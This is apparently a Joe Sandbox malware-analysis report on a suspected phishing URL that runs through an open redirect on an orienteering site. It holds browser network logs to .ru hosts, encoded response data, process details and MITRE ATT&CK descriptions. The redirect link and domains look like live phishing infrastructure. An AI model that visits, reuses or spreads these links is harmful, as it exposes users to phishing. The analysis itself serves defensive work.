2025-01-15 12:08:30 UTC	1347	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out-s: uos+vjWcKv392XsvVmGxJ21N+mPprMXAy3h8iOFmdjiNH/+Fd2MJz14lc2gMkUG7VVMfKzgV2x2d8a8UDe90x4Fbfo7df+MwJr5YvLkN6rcFMN+V7N1tFvO79IHhDBknrhcmM2xrW/mGXEKQx+uMTOHqJgLllypxWG13MNOWpQRkd5PMX85zUdTDhJFdWHayIA0DAEr5lbxWPeBghb8wQe7y3Az/s7HWR1XFh+yXwYS3VWDlRdezNioW95XJLpahtPh2ab2eEqIwXuQBEmmAXiqj5Tgmn5YledFNO5t6s/Xh4haru7uOKpnPc4NT7ngAy72rRnHn3HE6PBUOhUP7mL3TbEKwaxO9QyvYsS9i2EKPnykPZBMpJ/g2kKnNyFxr3lnXJy1SLNoowTHf2S5J+MhUIscMeGoLc/BKI+Md0rIfDKashDDlK4pcf3gR+yKNqe65wvh/Pn/GXB4+Fgbu9Hl5Dy//Sg4tme81qNRYCymuYfV49yYG9lLP87nl8qCgBG1FKev4lUG71zT/fKKeQYrnxq/xkpWId84rrEixnn9LxDj0z1q/GnteEYTYmwqLM5YlAEph+6PCR1YWOTVw+ZVVMNVdc56HBNCJcWMVDxgCeegpQimiIMRrnCAvtUzMUp9HkmFMkGyfMJOMuaZxZI2CE8K1p8hTb7N81dIXUQ9gaDobLu/tm8IFoE8y7Zz+97pG8tK0cG7NQK6KGzbchEWDWAFqO3/crKDdxn/JGlUgaS8CX5iBkdv26hUTpBWTp51FmtGQ/gu/f0ZnDH9/pBde4uPr0/cu5HNWCKy3uCkc1SJLNU87sr2yLkX4MOl6c65ZHC/VOJut04d15SPmiqz74w6UNLW224GgUdx7gon+njw7Dqp3XMaQCAHq1wqYalB2z2L67whmd06baBdXF+gE6eXdcVbdsuLvLPhshu21ivtY0lCIpXOrU9Y1uvRbwr3aS1Ic0eN0GwHJja6Tp7nTX+ku8vyN92IQ8Ee2iHA=$iNPLm [TRUNCATED] cf-chl-out: sJ9IiLAyiY7pt13ClzDTNfiKsTZEVSSGFUSD4GTn7pwl22BKKU11WdU6KKIaZ34f+CBT2t3kYVz2OhqyUPfXNviWdJ3lK754KoQ+ix1vhew=$zZadIQgAEtKBm6EOonR0Dw== Server: cloudflare
2025-01-15 12:08:30 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 39 30 32 35 63 30 36 34 37 62 61 63 34 33 32 63 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 9025c0647bac432c-EWRalt-svc: h3=":443"; ma=86400
2025-01-15 12:08:30 UTC	1329	IN	Data Raw: 71 72 2b 79 74 34 43 68 6c 6f 61 65 79 70 61 49 70 4d 43 46 6f 4d 65 6e 76 61 4b 70 78 37 4c 58 72 72 57 76 79 4d 33 4e 72 38 36 61 32 38 2f 43 33 37 76 51 74 71 48 49 35 4d 50 4c 36 4f 2b 33 37 39 7a 7a 75 2f 53 30 72 4f 48 35 7a 4e 43 31 75 61 2f 58 31 63 69 2b 2b 74 2f 34 35 76 37 6e 41 65 6a 6b 37 50 66 74 35 67 72 35 35 51 38 53 45 4f 67 50 46 39 41 61 30 2b 30 64 2b 78 62 39 43 75 38 65 44 41 54 77 39 4f 63 48 38 68 62 6d 48 69 50 67 48 52 38 6f 47 77 6f 6b 42 66 4c 74 4c 7a 6b 59 39 44 6b 4c 48 44 67 65 4e 52 41 55 4a 52 4d 6f 4a 69 6f 59 48 44 6f 6f 4b 7a 63 48 50 42 78 52 52 52 35 45 56 44 4e 58 45 43 6f 58 4c 31 30 5a 50 43 6b 36 50 6a 41 64 49 52 31 51 5a 7a 78 57 52 53 6c 4b 58 31 73 37 63 45 4e 4e 61 6e 63 78 61 47 39 70 4f 6d 6c 4c 61 31 70 Data Ascii: qr+yt4ChloaeypaIpMCFoMenvaKpx7LXrrWvyM3Nr86a28/C37vQtqHI5MPL6O+379zzu/S0rOH5zNC1ua/X1ci++t/45v7nAejk7Pft5gr55Q8SEOgPF9Aa0+0d+xb9Cu8eDATw9OcH8hbmHiPgHR8oGwokBfLtLzkY9DkLHDgeNRAUJRMoJioYHDooKzcHPBxRRR5EVDNXECoXL10ZPCk6PjAdIR1QZzxWRSlKX1s7cENNancxaG9pOmlLa1p
2025-01-15 12:08:30 UTC	1369	IN	Data Raw: 4a 69 4b 66 71 32 48 65 71 64 77 72 72 4f 46 67 37 4b 6a 62 34 70 76 67 6f 53 4c 6c 37 69 34 66 35 70 35 72 38 57 50 70 72 36 49 6b 59 6d 35 6e 35 65 5a 6d 4a 43 71 6d 72 43 54 76 38 2b 6e 32 64 6a 44 71 36 53 6d 6c 64 75 76 7a 74 7a 62 73 36 53 68 7a 37 50 57 36 4f 57 35 6f 38 6e 77 38 4e 2b 39 72 62 54 4f 74 63 6a 4c 35 73 72 59 79 74 54 56 31 4d 43 33 32 67 44 44 39 4e 37 31 31 76 66 46 35 72 37 57 43 4f 50 62 2f 67 6e 77 78 75 6e 51 79 65 44 59 43 66 76 75 35 76 58 31 49 66 6a 68 2b 64 6f 6a 37 67 44 34 36 43 6b 5a 2b 50 63 64 4b 50 30 73 2b 6a 41 44 44 66 41 33 43 42 4d 35 44 50 77 38 4f 53 77 41 47 7a 45 77 51 41 38 6d 42 66 6f 35 41 68 55 61 42 43 63 38 45 45 38 75 55 69 52 47 56 54 4d 6c 4d 78 5a 5a 4c 53 68 59 4b 43 35 4d 48 54 59 62 4a 54 59 39 Data Ascii: JiKfq2HeqdwrrOFg7Kjb4pvgoSLl7i4f5p5r8WPpr6IkYm5n5eZmJCqmrCTv8+n2djDq6Smlduvztzbs6Shz7PW6OW5o8nw8N+9rbTOtcjL5srYytTV1MC32gDD9N711vfF5r7WCOPb/gnwxunQyeDYCfvu5vX1Ifjh+doj7gD46CkZ+PcdKP0s+jADDfA3CBM5DPw8OSwAGzEwQA8mBfo5AhUaBCc8EE8uUiRGVTMlMxZZLShYKC5MHTYbJTY9
2025-01-15 12:08:30 UTC	1369	IN	Data Raw: 69 4d 73 47 2b 63 61 71 71 54 74 6f 75 48 70 6e 71 33 65 35 57 72 77 58 2b 72 75 62 2b 2b 77 6f 4c 45 77 38 65 70 79 4d 7a 4a 73 49 71 63 6e 4d 54 44 72 4d 72 43 78 37 53 55 78 64 47 6c 31 35 75 71 7a 37 47 68 74 61 4c 42 70 4c 32 62 34 39 2b 6f 77 75 50 69 72 73 61 73 37 65 32 75 35 2b 50 54 37 65 2f 71 31 4d 72 61 79 75 43 35 75 39 2f 31 31 4d 50 34 38 67 48 36 31 66 76 66 41 39 73 44 43 51 4c 52 41 77 76 30 42 41 6e 55 44 78 55 51 45 68 59 56 45 78 6f 4f 33 78 76 64 34 2f 4d 59 2b 67 51 63 44 66 34 75 35 52 45 42 47 78 45 56 41 2f 4d 74 4a 76 59 46 47 53 6b 50 38 43 34 34 2f 55 4d 32 4a 68 59 36 42 6a 67 46 4e 30 45 34 4c 7a 73 77 53 51 6f 51 4a 55 45 31 50 30 42 51 55 6b 5a 56 56 44 30 73 59 45 39 43 50 46 56 5a 49 7a 56 58 56 44 68 6d 61 6b 30 6f 4f Data Ascii: iMsG+caqqTtouHpnq3e5WrwX+rub++woLEw8epyMzJsIqcnMTDrMrCx7SUxdGl15uqz7GhtaLBpL2b49+owuPirsas7e2u5+PT7e/q1MrayuC5u9/11MP48gH61fvfA9sDCQLRAwv0BAnUDxUQEhYVExoO3xvd4/MY+gQcDf4u5REBGxEVA/MtJvYFGSkP8C44/UM2JhY6BjgFN0E4LzswSQoQJUE1P0BQUkZVVD0sYE9CPFVZIzVXVDhmak0oO
2025-01-15 12:08:30 UTC	557	IN	Data Raw: 74 63 61 36 49 74 71 32 6f 6e 4b 36 58 74 58 74 30 6c 62 42 2f 76 70 6d 30 73 62 4b 63 76 4d 4f 36 71 62 2f 48 30 73 44 4a 79 70 4b 50 78 38 47 77 73 37 76 55 6d 38 6e 56 73 37 6a 56 78 64 32 30 73 39 65 36 32 75 54 59 71 64 72 62 34 4f 66 48 34 75 66 71 79 4d 62 5a 37 63 54 70 38 50 4c 78 38 75 44 51 41 39 44 75 30 77 50 31 38 41 44 59 2b 77 44 47 31 2f 76 78 2b 65 67 44 41 2b 66 6f 36 41 66 35 36 77 30 4c 32 76 41 55 46 41 45 42 37 51 51 46 47 77 41 4a 2b 42 73 55 46 53 51 61 49 42 45 45 4b 78 30 66 42 53 59 6d 4c 66 55 4a 43 68 34 6d 49 43 77 77 46 42 77 76 4e 79 63 6f 4e 6a 73 59 4a 44 77 31 52 53 78 46 4f 55 6b 63 51 7a 59 6b 4a 45 78 4c 4f 45 63 30 55 44 38 77 55 56 52 41 54 6c 4a 47 52 45 39 42 53 53 4e 45 5a 45 31 50 54 47 46 6b 4b 31 35 70 5a 30 Data Ascii: tca6Itq2onK6XtXt0lbB/vpm0sbKcvMO6qb/H0sDJypKPx8Gws7vUm8nVs7jVxd20s9e62uTYqdrb4OfH4ufqyMbZ7cTp8PLx8uDQA9Du0wP18ADY+wDG1/vx+egDA+fo6Af56w0L2vAUFAEB7QQFGwAJ+BsUFSQaIBEEKx0fBSYmLfUJCh4mICwwFBwvNycoNjsYJDw1RSxFOUkcQzYkJExLOEc0UD8wUVRATlJGRE9BSSNEZE1PTGFkK15pZ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49800	188.114.96.3	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:30 UTC	679	OUT	GET /jbqJHqVDGtkTNppzzzrWOcAESIPGAYITGGXSAECQNOFGRUOWRCMEYDKYWRMTMDYOCOOFEHAUDXBMBHH HTTP/1.1 Host: yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://zorx.xemitarnor.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zorx.xemitarnor.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:31 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rriGpmIU0K5gLskKedGtIKoIvI7LjeTnZKXkxUOE3ICGOTelNGoKNetyl4ByxpXBbJDElExWp%2Fuk73nXmLU6zeF5%2FXHUWEjUihYyDV3GDRHG5WL7%2FBeGGf2yGbw4NL6vQA0zfkd3fCRPqnbciUdwsvdMcDhdFxpUbf3fwwSJ%2BbzQ6dxfg6SfdTKRfpDP7F1OOTPMoNA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9025c069d9dfef5e-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8178&min_rtt=8175&rtt_var=3072&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1257&delivery_rate=356054&cwnd=32&unsent_bytes=0&cid=b42f14a00f12c88d&ts=622&x=0"
2025-01-15 12:08:31 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-15 12:08:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49801	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:30 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1247897239:1736940565:VIX6yGzrkX0RSR09UdpgbV39MWzrfZkSsFbrjQKzdko/9025c0217ef90f85/Lyki2blfRlhwRWpt8_cq89uPuMGCyZw2zSZgCfbW.dg-1736942899-1.1.1.1-SJrXOdd12Np8k727L_hBb5elS3gxm9ZZfpetgWHJt9PYCik69fbzIcKBl3_pXAhs HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:31 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 12:08:31 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: VFmCxIGoIH2tqRywKccnomdD5l1yrjjuCPKHG6AvefI+9ix6tqUasWgLy8ELIL7nSnEhnDf7l8U2cZDwQvDnVw==$lfk6a31Pmp+VJAy9utryDg== Server: cloudflare CF-RAY: 9025c069fd4e1885-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:31 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49804	188.114.96.3	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:32 UTC	469	OUT	GET /jbqJHqVDGtkTNppzzzrWOcAESIPGAYITGGXSAECQNOFGRUOWRCMEYDKYWRMTMDYOCOOFEHAUDXBMBHH HTTP/1.1 Host: yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:32 UTC	891	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h0qT3%2Bk%2BzNKbfLTIs29f1z5wvenQEQG1n5nVxM1DkC7mWF3N5BwYvdaEYnwpWydvY2n%2BuOxBOa%2FZRv7l0wmXxl4YoIVV1IZ1vDOgDijxN%2BQ665XAoQB3V9yr2eLiET6Fg8RHE6PkR1jYLpLhTR2VtoG3YoQC5nlPkYhnua7ix5nyIQgW1eWJYOmz5liB20sOVHZE4fY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9025c070e92341c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1642&min_rtt=1638&rtt_var=622&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1047&delivery_rate=1746411&cwnd=72&unsent_bytes=0&cid=7876f14c3c773e7e&ts=579&x=0"
2025-01-15 12:08:32 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-15 12:08:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:07:42
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:07:44
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2236,i,5183248845643234425,14053315998528368914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	07:07:50
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Windows Analysis Report
https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086